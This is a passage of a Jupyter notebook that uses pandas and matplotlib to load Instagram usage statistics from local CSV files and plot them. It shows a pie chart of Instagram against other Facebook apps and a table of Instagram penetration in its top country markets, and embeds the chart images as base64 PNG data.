WxNTM/CrSo0C/GnzcUF1b3Qc3o/CpwcfwTO0rg9pwk5LOwP1+/5aoSeT09MvkXrYC4SVcAFQD84F3gMtxb+R7gnXa3+STBEpFpBI3qeXhqvpOcPSu3HbjqtomIkcAp+BGVr4YOBnXPB8RtFDAnRqcBdy19aXbbqqD5VmRqElswL3JngCorq0egjt1GoE71YkFnw/MZh3trMSdAsxr9+/CRE3CbsQKmWy2EC7HTY2dBFYHR+ODgK/h/vi3Z+ubf6WI9MHNkPtIsGw9sCtA8L3eqvqkiMwA/h10YJ4NHKyqy4L1TsLdSLQ1EM4F/ikix+Jmzm0KZvQ+Q0RuwJ0ynAhM7vmvoPOC5vc7uB76tOra6oF8NCSGAf2BfsFHf1zN2zv9SOJmal6Dmw15289X4YaSm5uoSazI8I9kClS2AiGBO7o9uM2yPqq6MngT/hdVXSsidwbrNuKuUGx1H/AbEdmM65t4LGhRCG6mpuOBZVvDIDANGCkiewVfrxGRlwg6FdutNwuow10VuC6T/Qc9kahJrMSdRu30CcCgj6Ii+CjHtb7WW0ef6arQ3Ji0o8uWwWnJBlW9xUddxuQTe7jJGJMWmhaCMaZj1kIwxqRZIBhj0iwQjDFpFgjGmDQLBGNMmgWCMSbNAsEYk2aBYIxJs0AwxqRZIBhj0iwQjDFpFgjGmDQLBGNMmgWCMSbNAsEYk2aBYIxJs0AwxqRZIBhj0iwQjDFpFgjGmDQLBGNMmgWCMSbNAsEYk2aBYIxJs0AwxqT9P3ArJjWFNN8bAAAAAElFTkSuQmCC\n", + "text/plain": [ + "
" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], + "source": [ + "import pandas as pd\n", + "import matplotlib.pyplot as plt\n", + "\n", + "stats = pd.read_csv(\"D:\\\\DataScience\\\\Instagram DataAnalysis\\\\Usage Statistics\\\\IG11.csv\", header=0, sep=\",\")\n", + "print(\"Instagram users vs other Facebook apps\")\n", + "print(\"_________________________________________________________________________________________________________________________\")\n", + "print(stats)\n", + "\n", + "df = pd.DataFrame(stats)\n", + "x = list(df.iloc[:, 0])\n", + "y = list(df.iloc[:, 1])\n", + "\n", + "\n", + "plt.pie(y, labels=x)\n", + "plt.show()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Instagram penetration by country, top markets" + ] + }, + { + "cell_type": "code", + "execution_count": 17, + "metadata": { + "scrolled": true + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + " Country (%)of_Instagram_users_among_total_internet_users_aged(16-64)\n", + "0 Turkey 88 \n", + "1 Indonesia 86 \n", + "2 Brazil 84 \n", + "3 Argentina 80 \n", + "4 Malaysia 76 \n", + "5 Saudi Arabia 76 \n", + "6 Portugal 74 \n", + "7 Nigeria 74 \n", + "8 Mexico 72 \n", + "9 Egypt 70 \n", + "10 Philippines 70 \n", + "11 Kenya 69 \n", + "12 UAE 69 \n", + "13 Sweden 69 \n", + "14 India 67 \n", + "15 Thailand 67 \n", + "16 Spain 67 \n", + "17 Italy 67 \n", + "18 South Africa 67 \n", + "19 Singapore 64 \n" + ] + }, + { + "data": { + "image/png": "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